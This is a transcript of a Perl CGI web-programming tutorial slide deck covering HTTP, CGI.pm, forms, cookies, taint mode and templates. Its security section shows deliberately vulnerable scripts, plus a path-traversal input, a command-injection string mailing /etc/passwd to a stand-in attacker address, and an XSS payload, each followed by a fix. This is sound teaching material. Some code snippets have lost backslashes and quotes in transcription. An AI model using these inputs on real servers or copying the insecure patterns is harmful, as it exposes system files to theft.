Introduction to Web Programming with Perl

Introduction to Web Programming with Perl Dave Cross Magnum Solutions Ltd [email_address] http://mag-sol.com

What We Will Cover
The HTTP Protocol
The CGI Protocol
Creating Dynamic Pages with Perl
Getting Input from Forms
The CGI Module

What We Will Cover
Basic Web Security
Using Cookies
Using Templates
Further Information

Network Protocols
A protocol is a defined way for objects to interact
Requests and responses are clearly defined
Client makes a request
Server responds

HTTP
Hypertext Transport Protocol
Client is (usually) a web browser
Server is a web server
Client makes a request for a URL
Server responds with appropriate data

HTTP Request
GET / HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.0.4) Gecko/2008111217 Fedora/3.0.4-1.fc9 Firefox/3.0.4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-gb,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 300 Connection: keep-alive

HTTP Response
HTTP/1.x 200 OK Date: Wed, 26 Nov 2008 20:42:54 GMT Server: Apache/2.2.9 (Fedora) Content-Length: 2172 Connection: close Content-Type: text/html;charset=ISO-8859-1 <html> ... </html>

Things to Note
Client requests a URL
Server works out what data is required
Response includes status code and data
Response defines type of data that follows

URLs
Universal Resource Locator
Defines a resource on the internet
http://example.com/some/path
Static URLs usually map on to a file on the web server
This mapping is defined by the web server

Beyond Static Pages
Static pages pages are limiting
Dynamic pages are more flexible
e.g. List of products + dynamic pages = Online shop

CGI
Common Gateway Interface
Developed 1995
Defined how
Data gets into a program
Output from program returned to web server

Dynamic URLs
The web server needs to recognise CGI URLs
Two common methods
Location
e.g. cgi-bin directory
Naming
e.g. .cgi extension

cgi-bin
Commonly defined as a place to put CGI programs
All requests to this directory are CGI programs
ScriptAlias /cgi-bin/ "/var/www/cgi-bin/"

.cgi
Commonly defined as the extension for CGI programs
All requests to resources with this extension are CGI programs
Says nothing about programming language
AddHandler cgi-script .cgi

Running CGI Programs
Web server checks incoming requests
If it is a CGI request (location or extension)
Set up CGI environment
Call program
Return program output to browser

Perl and CGI

Perl and CGI
The early webmasters were also sysadmins
Most sysadmins used Perl a lot
Most CGI programs produce HTML
HTML is just a form of text
Perl is great for manipulating text
Many early CGI programs were written in Perl

Perl is Not CGI
Perl was used long before CGI programs were developed
Perl continues to be used in non-web areas
Other languages have also been used to write CGI programs
Some people still (incorrectly) assume that Perl and CGI are the same thing

Simple Perl CGI Program
#!/usr/bin/perl print “Content-type: text/plain ”; print “Hello world”;

Simple Perl CGI Program
#!/usr/bin/perl print “Content-type: text/html ”; print <<END; <html> <head><title>Hello world</title></head> <body> <h1>Hello world</h1> </body> </html> END

What's Happening?
It's all pretty simple
Program prints a content-type header
Program prints data in the correct format
That's all you need to do

What Else is Happening?
It's actually a little more complex than that
The web server does some work
Recognising CGI URL
Setting up environment
Calling program
Catching output
Adding headers

More Useful Example
Let's make a page that does something dynamic
#!/usr/bin/perl print "Content-type: text/plain "; print scalar localtime;
Of course, that program could produce HTML instead
But putting HTML in Perl code looks untidy

CGI.pm
Perl includes a library called CGI.pm
It handles many areas of CGI programming
One of those is the production of HTML

Producing HTML
#!/usr/bin/perl use CGI ':standard'; print header; print start_html(-title=>'Time'), h1('Time'), p(scalar localtime), end_html;
Later we'll see an alternative method of separating HTML and Perl

Not Producing HTML
You don't need to produce text or HTML
Perl is good at processing other types of data too
Simply set the correct content type and produce output in the correct format

Random Images
#!/usr/bin/perl use CGI 'header'; $dir = '/var/www/html/images'; opendir PICS, $dir or die $!; my @pics = grep { -f “$dir/$_” } readdir PICS; my $a_pic = $pics[rand @pics]; if ($a_pic =~ /.png$/) { print header(-type => 'image/png'); } else { print header(-type => 'image/jpeg'); } open PIC, "$dir/$a_pic" or die $!; print while <PIC>;

Producing Images
Correct content-type header
Tells browser how to interpret data
Browser knows to expect an image
Use in <img> tag
<img src='/cgi/pic'>

Response Status Codes
An HTTP Response contains a status code
200 means 'ok'
The web server is adding this to our CGI output
But we can override this in our CGI program
Include it in the header

Not There
#!/usr/bin/perl use CGI ':standard'; print header(-status => 404), start_html(-title => 'Not Found'), h1('Not Found'), p('The content that you were', 'looking for could not be', 'found.'), p('Sorry about that.'), end_html;

Other HTTP Codes
1xx – Informational
2xx – Success
3xx – Redirection
4xx – Client error
5xx – Server error

Redirecting the Browser
The 300 errors are often the most useful
Tell the browser to look elsewhere for the resource
302 tells the browser where to find the resource it is looking for

Using Redirection
#!/usr/bin/perl use CGI 'redirect'; my $dir = #/var/www/html/images'; opendir PICS, $dir or die $!; my @pics = grep { -f “$dir/$_” } readdir PICS; my $a_pic = $pics[rand @pics]; print redirect( -uri => "/images/$a_pic" );

Handling Input

Handling Input
So far all of our examples have only produced output
CGI programs are far more flexible if they can accept input

HTML Forms
CGI programs get their input from HTML forms
Text input, radio buttons, checkboxes, selectors
All seem very similar when they get to your CGI program

Sample HTML Form
<form action=”/cgi/handle_form”> <p>Name: <input name=”name” /><br /> <selection name=”sex”> <option>Male</option> <option>Female</option> </selection></p> </form>

Handling the Form
#!/usr/bin/perl use CGI ':standard'; my $name = param('name'); my $sex = param('sex'); print header, start_html(-title=>"Hello $name"), h1("Hello $name"), p("Hello $name, you are $sex"), end_html;

CGI Parameters
The CGI module has function called 'param'
Returns the value of the parameters passed to the program
Pass it the name of the parameter you are interested in
The name is the name of the HTML form input

Listing Parameters
Without an argument, 'param' returns a list of all parameter names
my @params = param; foreach my $param (@params) { print p('Param ', b($param), ' is ', i(param($param))); }

Multivalued Parameters
Sometimes one name is associated with multiple values
The 'param' function handles this too

Checkboxes
Checkboxes allow you to choose several linked options
Drinks: <input type="checkbox" name="drink" value="beer" /> Beer <input type="checkbox" name="drink" value="wine" /> Wine <input type="checkbox" name="drink" value="coke" /> Coke
Three inputs with the same name
What will 'param' do?

Handling Checkboxes
Our previous form handler already copes with this
'param' returns a space-separated string
$drinks = param('drink');
You can also get a list
@drinks = param('drink'); print join ', ', @drinks;
Perl calls this “context”

GET vs POST
HTML forms can sent parameters to CGI programs in TWO ways
GET encodes the data in the URL
POST encodes the data in the request body
Define which method to use in the <form> element
Default value is GET

GET
The default method is GET
<form action=”...” method=”GET”>
Can be omitted
<form action=”...”>
Data in URL
http://localhost/cgi/handle_form2?name=Dave&sex=Male&drink=beer&drink=wine&drink=coke
Easy to debug
Easy to hack

POST
POST needs to be set explicitly
<form action=”...” method=”POST”>
Data transmitted in HTTP request body
Not seen in URL
Harder to debug
Harder to hack

Handling GET and POST
CGI.pm hides the difference from you
Both GET and POST parameters are accessed in the same way
'param' handles both methods
Easy to swap between the two

Mishandling CGI Data
CGI.pm has been a standard part of Perl for over ten years
No reason not to use 'param'
Some people still don't
Old code
Or code based on old code

Broken CGI Parser
if ($ENV{'REQUEST_METHOD'} eq 'GET') { @pairs = split(/&/, $ENV{'QUERY_STRING'}); } elsif ($ENV{'REQUEST_METHOD'} eq 'POST') { read(STDIN, $buffer, $ENV{'CONTENT_LENGTH'}); @pairs = split(/&/, $buffer); } foreach $pair (@pairs) { my ($name, $val) = split /=/, $pair; # some decoding skipped... $form{$name} = $value; }
You will see code like this
Do not use it

Simple CGI Summary

Simple CGI Summary
CGI defines a way to create dynamic web pages
Web server identifies CGI URLs
By location or name
Web server sets up CGI environment
Calls CGI program
Output returned to browser

CGI Input
CGI input comes from HTML forms
Input is either GET or POST
CGI program sees a series of name/value pairs

Debugging CGI

Debugging CGI
Things will go wrong when writing CGI programs
Here are some suggestions on tracking down problems

Debugging Perl
Same techniques as debugging any Perl program
Help Perl to help you
use strict
Must declare variables
use warnings
Warn about potential problems
Use both of these in all Perl programs

Check Syntax
Use “perl -c” to check for syntax errors
#!/usr/bin/perl Print "hello ";
$ perl -c print String found where operator expected at print line 3, near "Print "hello "" (Do you need to predeclare Print?) syntax error at print line 3, near "Print "hello "" print had compilation errors.

Check Error Log
All web servers write an error log
Location depends on configuration
Generic error message to browser
Security feature
Real error message in error log
Anything written to STDERR goes to error log

Writing to Error Log
#!/usr/bin/perl use CGI 'header'; print header( -type => 'text/plain' ); print 'Nothing went wrong!'; # warn writes to STDERR warn '(Actually something did)';

Errors to Browser
Sometimes it's useful to see real errors in the browser
CGI::Carp does this
use CGI::Carp 'fatalsToBrowser';
Still a security hole
Remove once debugging is over
Or, at least, comment it out

Debugging HTTP
It's often useful to debug the HTTP exchange
See exactly what requests and responses are being exchanged
LWP (from CPAN) includes the GET, POST and HEAD programs

Debugging HTTP
#!/usr/bin/perl use CGI 'header'; print header( -type => 'text/plain', -x_go_away => "It's a secret", ); print 'See headers for more info';

Using HEAD
$ HEAD http://localhost/cgi/headers 200 OK Connection: close Date: Sat, 22 Nov 2008 14:59:15 GMT Server: Apache/2.2.9 (Fedora) Content-Type: text/plain; charset=ISO-8859-1 Client-Date: Sat, 22 Nov 2008 14:59:15 GMT Client-Peer: 127.0.0.1:80 Client-Response-Num: 1 X-Go-Away: It's a secret

Live HTTP Headers
Live HTTP Headers is an add-on for Firefox
Allows you to watch the complete HTTP exchange
View
Save
Replay

Web Security

Web Security
Exposing a program on your web server is a brave thing to do
Anyone connected to the internet can run your program
Not everyone out there is nice
Need to be sure your program is secure

What Can Go Wrong?
You want a program to display files from your server
Accepts a file as a parameter
Send the contents of the file to the browser
Here's a first attempt

File Viewer Program
#!/usr/bin/perl use CGI ':standard'; my $file = param('filename'); print header(-type => 'text/plain'); open FILE, $file or die "Can't open $file: $! "; print while <FILE>;

What's Wrong With That?
You just compromised the security of your server
Your server contains many files that outsiders shouldn't see
e.g. /etc/passwd
Now anyone on the internet can see a list of usernames on your server

Forms Won't Save You
You could present a page that only allows people to choose certain files
People will look at the source of the form and hack the URL
You could change GET to POST to prevent URL-hacking
People will create their own form and use that to send hacked parameters

Another Attempt
#!/usr/bin/perl use CGI ':standard'; my $dir = '/usr/files/'; my $file = $dir . param('filename'); print header(-type => 'text/plain'); open FILE, $file or die "Can't open $file: $! "; print while <FILE>;

Another Attempt
We have forced files to exist in a certain directory
Only files in that directory can be viewed
That's not true
We can use '..' to move up a directory
filename=../../etc/passwd
Still insecure

A Different Problem
We want to run a command on the server taking input from the user
For example, a manual page viewer
Takes a page name from user input

Manual Page Viewer
#!/usr/bin/perl use CGI ':standard'; my $page = param('man'); print header(-type=>'text/plain'); print `man $page | col -b`;

What's Wrong With That?
Once again you've compromised security on your server
Problem is in this line
print `man $page | col -b`;
Passing user input to an external program
Dangerous input
ls; mail dave@blackhat.com < /etc/passwd

Another Problem
Accept user input and write a results page using it
We've done this before
What if the input includes Javascript?
name=Dave
name=Dave<script>alert(“Gotcha”)</alert>
Javascript can be dangerous

Trust No-One
All of these problems have the same root cause
We trusted user input
Never trust your users
They are either malicious or stupid
Both options are dangerous to you

Check All Input
Check everything that comes into your program
Don't trust any piece of data
Especially if you're sending it out of your program
Use whitelists to define valid data
Throw out anything that doesn't match

Safe File Viewer
#!/usr/bin/perl use CGI ':standard'; print header(-type => 'text/plain'); my $dir = '/usr/files/'; my $file = param('filename'); if ($file =~ /^(w[w.]+)$/) { $file = "$dir/$1"; } else { print 'Go away!'; die "Bad filename: $file "; } ...

Is It Safe?
The safe file viewer assumes that all valid files are in one directory
Therefore the filename can only contain certain characters
/^(w[w.]+)$/
“Word” characters and dots
No directory slashes
Anchors to match whole string

Safe Manual Viewer
#!/usr/bin/perl use CGI ':standard'; my $page = param('man'); if ($page =~ /^(w+)/) { $page = $1; } print header(-type=>'text/plain'); print `man $page | col -b`;

Is It Safe?
Uses a similar approach to the safe file viewer
Unix commands consist of “word” characters
Use the word characters from the start of the input string
Ignore the rest

Safe HTML Input
#!/usr/bin/perl use CGI ':standard'; my $name = param('name'); my $sex = param('sex'); $name =~ s/</</g; $sex =~ s/</</g; ...

Is It Safe?
By converting the < symbols to < we convert HTML to text
The Javascript is rendered harmless
Simplest, but harshest, approach
Maybe you want to allow some HTML
More complex parser required
Look at HTML::Scrubber

Enforcing Distrust
How can you be sure that you are being distrustful enough?
Programmers are fallible
Let Perl help you
Use “taint” mode
Add -T to your shebang line
#!/usr/bin/perl -T

Taint Mode
See “perldoc perlsec” for the full details
All input is marked as tainted
Tainted data may not be sent outside of your program
Tainted data is infectious
If an expression uses tainted data then the result is also tainted

Taint Mode Example
#!/usr/bin/perl -T use strict; print 'Enter command: '; my $cmd = <STDIN>; chomp $cmd; print `$cmd`;

Running Taint Example
$ ./taint Enter command: ls Insecure dependency in `` while running with -T switch at ./taint line 7, <STDIN> line 1.
We are passing tainted data to the Unix shell
Via the backticks
This is equivalent to our man page example

Checking Tainted Data
Use the tainted function from Scalar::Util
use Scalar::Util 'tainted'; print 'Enter command: '; my $cmd = <STDIN>; chomp $cmd; print tainted($cmd) ? '' : 'Not ', "Tainted ";

Cleaning Tainted Data
Untaint data by matching against a regular expression and extracting valid strings
As we did in our previous examples
($cmd) = $cmd =~ /^(w+)/; print tainted($cmd) ? '' : 'Not ', "Tainted ";
We extracted the data we wanted
$cmd is no longer tainted

Not There Yet
Having untainted $cmd we still have another issue
Insecure $ENV{PATH} while running with -T switch at ./taint3 line 16, <STDIN> line 1.
Perl is being really paranoid
Which is a good thing
Perl doesn't trust our PATH setting
Need to set it in the program

Securing the Path
Perl sees the PATH in $ENV{PATH}
Just overwrite that with a known value
$ENV{PATH} = '/bin:/usr/bin:/usr/local/bin';
Perl is finally satisfied

Using Taint Mode
You should use taint mode on any program that is going to be run by untrusted people
This is definitely true of all CGI programs
Taint mode won't catch all problems
But it finds many issues that you might miss

Cookies

Cookies
HTTP is a stateless protocol
Each request/response exchange has no knowledge of previous ones
This makes writing complex web applications impossible
Shopping baskets (for example) need to maintain state
Cookies are a good way round this problem

What Is A Cookie?
A small text file stored by your browser
Name/value pair
Associated with a domain and (optionally) a path
Can be set to expire
Web site sends cookie to browser
Browser sends cookie back to web server for that domain or path

Viewing Cookies
Modern browsers give users the ability to view and delete cookies
Firefox: Preferences -> Privacy -> Show cookies
You will probably have a lot of cookies
Sites use them to track visitors
Some people block them for that reason

Using Cookies
CGI.pm contains a “cookie” function
Used to both create and access cookie
Cookies need to be sent in the CGI header
Often the first thing to need to do

Setting a Cookie
my $cookie =cookie( -name=>'time', -value=>scalar localtime, -expires=>'+1y' ); print header( -cookie => $time_cookie ); print start_html( -title=>'Cookie test' ); print h1('Cookie test');

Getting a Cookie
if (my $time = cookie('time')) { print p('You last visited this ', “page at $time"); } else { print p('You haven't visited ' 'this page before'); }

Cookie Confusion
People sometimes find cookie code confusing
There are often two completely separate cookies in a program
One incoming, one outgoing
The outgoing cookie is usually dealt with first
Because it needs to be in the header

Login Example
Cookies can be used to track whether a user is logged in to a site
Write a cookie when the user logs in
Delete it when the user logs out
Actually just force it to expire

Log In With Cookies (1)
my $name; my $logged; if (param('login')) { $logged = 1; $name = param('name'); print header( -cookie => cookie( -name => 'name', -value => $name, -expires => '+1y', ) ); }

elsif (param('logout')) { $logged = 0; $name = 'Guest'; print header( -cookie => cookie( -name=>'name', -value=>'', -expires=>'-1d', ) ); }

else { $logged = defined cookie('name'); $name = cookie('name') || 'Guest'; print header; } print start_html(-title => 'Cookies'); print h1('Cookies'); print p('This is a cookie test page'); $name =~ s/</&lt/g; $name = b($name); print p("Hello $name");

print start_form; if ($logged) { print p( submit(-name => 'logout', -value => 'logout')); } else { print p('Enter your name: ', textfield(-name => 'name'), submit(-name => 'login', -value => 'Set name')); print end_form; } print end_html;

Cookie Security
Secure web apps don't reveal any more data than is necessary
Don't trust the browser
Don't store identifiable data in a cookie
Use a nondescript name
Store the real data on your server
Store a reference to data in cookie

Templates

Templates
So far all of our HTML has been stored in the program
Either hard-coded HTML or CGI.pm functions
This is fine for demos or simple programs
Can cause problems with larger projects

Separating Concerns
It's a good idea to separate business logic from display logic
Code that works out what to display
Code that works out how to display it

Advantages
Easier to change look of site
Easier to have consistent look and feel
Easier to split work between designers and programmers
Easier to produce alternative views of data

Simple Templating
See perlfaq4
“How can I expand variables in text strings?”
Everyone writes a templating system
Most people release their templating system to CPAN
Please don't do that

Templating Systems
Many templating systems on CPAN
Text::Template
HTML::Template
HTML::Mason
Template Toolkit
Many more
I choose the Template Toolkit

Template Toolkit
Flexible templating system
Equally useful in web and non-web applications
Simple templating language
Not perl

Good Book Too

CGI Using Templates
Create an output template containing your HTML
CGI program acts largely as before
Processes inputs
Determines outputs
Passes outputs to template processor

Template Example
#!/usr/bin/perl use CGI qw(param header); use Template; my $tt = Template->new; my $name = param('name'); my $sex = param('sex'); my @drink = param('drink'); print header; $tt->process('form.tt', { name => $name, sex => $sex, drink => @drink }) or die $tt->error;

Template Example
<html> <head> <title>Template Toolkit</title> </head> <body> <h1>Template Toolkit</h1> <p>Your name is <b>[% name %]</b></p> <p>Your sex is <b>[% sex %]</b></p> <p>You like to drink:</p> <ul> [% FOREACH d IN drink -%] <li>[% d %]</li> [% END %] </ul> </body> </html>

Simpler Templates
#!/usr/bin/perl use CGI qw(param header); use Template; my $tt = Template->new; print header; $tt->process('form2.tt') or die $tt->error;

Simpler Templates
[% USE CGI -%] <html> <head> <title>Template Toolkit</title> </head> <body> <h1>Template Toolkit</h1> <p>Your name is <b>[% CGI.param('name') %]</b></p> <p>Your sex is <b>[% CGI.param('sex') %]</b></p> <p>You like to drink:</p> <ul> [% FOREACH d IN CGI.param('drink') -%] <li>[% d %]</li> [% END %] </ul> </body> </html>

More Information

More Information
A really quick overview of web programming with Perl
Skimmed over a lot of detail
Some ideas for other things to investigate
Other sources of information

Things Missed Out
CGI.pm
Far more functionality that we have covered
CGI environment functions
Sticky fields
Multi-page forms
More complex HTML generation
See “perldoc CGI”

Alternatives to CGI
CGI can be slow
Perl starts up for every page visit
Doesn't scale well
Alternatives approaches
mod_perl
Embeds a Perl interpreter in Apache
Much faster and more flexible

Storing Data
Most web applications will deal with a database
Storing and retrieving data
Standard Perl database interface
DBI
More advanced database interfaces
DBIx::Class

Web Frameworks
Web frameworks are very fashionable
Model (database)
View (templates)
Controller (logic)
MVC framework
e.g. Ruby on Rails

Perl Frameworks
Perl has MVC frameworks
Most popular is probably Catalyst
DBIx::Class + Template Toolkit
See Matt Trout's Tutorial after lunch

Sources of Information
Documentation for Perl modules at CPAN
http://search.cpan.org/
CGI.pm
http://search.cpan.org/dist/CGI.pm
Template Toolkit
http://search.cpan.org/dist/Template-Toolkit
http://tt2.org/

Books
CGI Programming with Perl
Guelich, Gundavaram, Birznieks
Writing CGI Applications with Perl
Meltzer, Michalski
Official Guide to Programming with CGI.pm
Stein

That's All Folks
Thank you for listening
Any questions?
I'll be around all day
Feel free to email me
[email_address]

http://www.slideshare.net	9
http://localhost	2
http://bharathiat.blogspot.in	1
http://www.linkedin.com	1

Introduction to Web Programming with Perl

by Dave Cross

Accessibility

Categories

Upload Details

Usage Rights

4 Embeds 13

Statistics

Introduction to Web Programming with Perl Presentation Transcript